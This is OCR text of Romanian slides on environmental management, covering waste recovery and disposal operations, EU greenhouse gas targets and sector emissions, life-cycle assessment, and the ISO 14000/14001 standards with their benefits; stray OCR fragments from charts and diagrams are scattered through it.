. : S A ﬁ.IMINARE - orice operatiune care nu\
intreprinderi Orl in economie in general. _ o _
Anexa nr. 3 la lege stabileste o list3 este o operatiune de valorificare, chiar

d
K operatiunilor de valorificare / si in cazul in care una dintre
consecintele secundare ale acesteia ar
fi recuperarea de substante sau de
energie.

Anexa nr. 2 la lege stabileste o lista a

K operatiunilor de eliminare /




Reducerea volumului de gaze cu efect de sera

* O reducere a emisiilor de gaze cu efect de sera in UE cu cel putin 40% pana in 2030 (fata
de nivelurile din 1990) reprezinta unul dintre obiectivele aprobate de Consiliul European

Emisiile de gaze cu efect de sera in UE in
functie de sector* in 2019

b
9,10%

Procesele industriale si

. utilizarea produselor

y .
o r
7 £
[. e 4 y
“ 4 o
77,01% @ 10,55%
{4 J =J‘ 1 /U \ "I ,
A Agricultura
p
s 4
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3,32%
S ) e . Gestionarea deseurilor
*Toate sectoarele, cu exceptia utilizarii terenurilor, a schimbarii utilizarii terenurilor '
si a silviculturii (LULUCF)
Procentajele nu insumeaza 100% datorita cifrelor rotunde utilizate. P
e Tawm &
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Sursa: Agentia Europeand a Mediului (EEA) NS= ®



Metoda de reducere a consumurilor energetice
Evaluarea ciclului de viata

Definirea scopului si a W ( I /

~

domeniului de apIicareJ Aplicatii directe:
— : - Dezvoltarea si
/Anallza mventarulw\
imbunatatirea
intrari si iegiri , Q
utilizarea resurselor “ E produsului
si evacuarile in aer, ]
(¥ . . h o o ° w
apa si sol asociate =3 Nad - Planificarea strategica
p
\sLtemulm J _3 - Procesul de realizare al
S o :
Evaluarea impactului: politicii publice
- Cateorii de impact
. “ - Marketin
-  Caracterizarea g
datelor

- Pondere specifica K‘Ntde J
\_ /L D




Evaluarea ciclului de viata poate lua in
considerare contributia contributia
urmatoarelor categorii de impact asupra
mediului:

e contributia la efectul de sera;
e impactul asupra stratului de ozon stratosferic;
e contributia la ploile acide (prin emisii de SO2);

e poluarea apei din panzele freatice, ape reziduale, sisteme de tratare,
apa de racire;

e consumul de energie (electrica, gaze, petrol etc.);
e poluarea aerului, gaze toxice;

e praf si particule;



ABORDARE PRO-ACTIVA A
PROBLEMELOR DE MEDIU

Sisteme de management de mediu

1ISO 14001 : 2015



STANDARDELE ISO 14000

SC1 - SISTEME DE MANAGEMENT DE MEDIU

ISO 14001  Specifica cerintele pentru un SMM care poate fi
auditat in vederea certificari de terta parte

ISO 14004  Furnizeaza linii directoare pentru a ajuta o organizatie
in elaborarea si implementarea unuit SMM, inclusiv

linu1 directoare care sunt suplimentare cerinfelor ISO
14001

ISO 14061  Contine informatii care pot ajuta la implementarea
ISO 14001 s1 ISO 14004 de catre organizatiile de
managementul padurilor sau de catre industria
lemnului



Standardele ISO 14001 Sisteme de
management de mediu si

ISO 27001 Managementul securitatii
informatice, au o structura comuna

Pe platforma ETS se gaseste 0 corespondenta intre ISO
14001, ISO 9001 si ISO 27001



Beneficiile ISO 14001 - Sistemul de
Management de Mediu

ISO 14001 va poate ajuta la:

. Imbdunatatirea performantei afacerii dvs. de gestionare a aspectelor de
mediu.

* Indeplinirea obligatiilor de conformitate legala.
« Reducerea amenzilor.

« Generarea unei cereri crescute pentru produsele si serviciile dvs. si
cresterea gradului de acceptare a acestora.

« Economii de materiale prin prelucrarea completa a produselor, inlocuirea
Si reciclarea deseurilor.

« Consumul redus de energie.
e Costuri reduse de stocare a materialelor.

« Costuri reduse pentru emisii, evacuari, manipularea deseurilor, transport
si eliminare.

» Cresterea randamentelor proceselor.
« Mai putine audituri de la clienti.



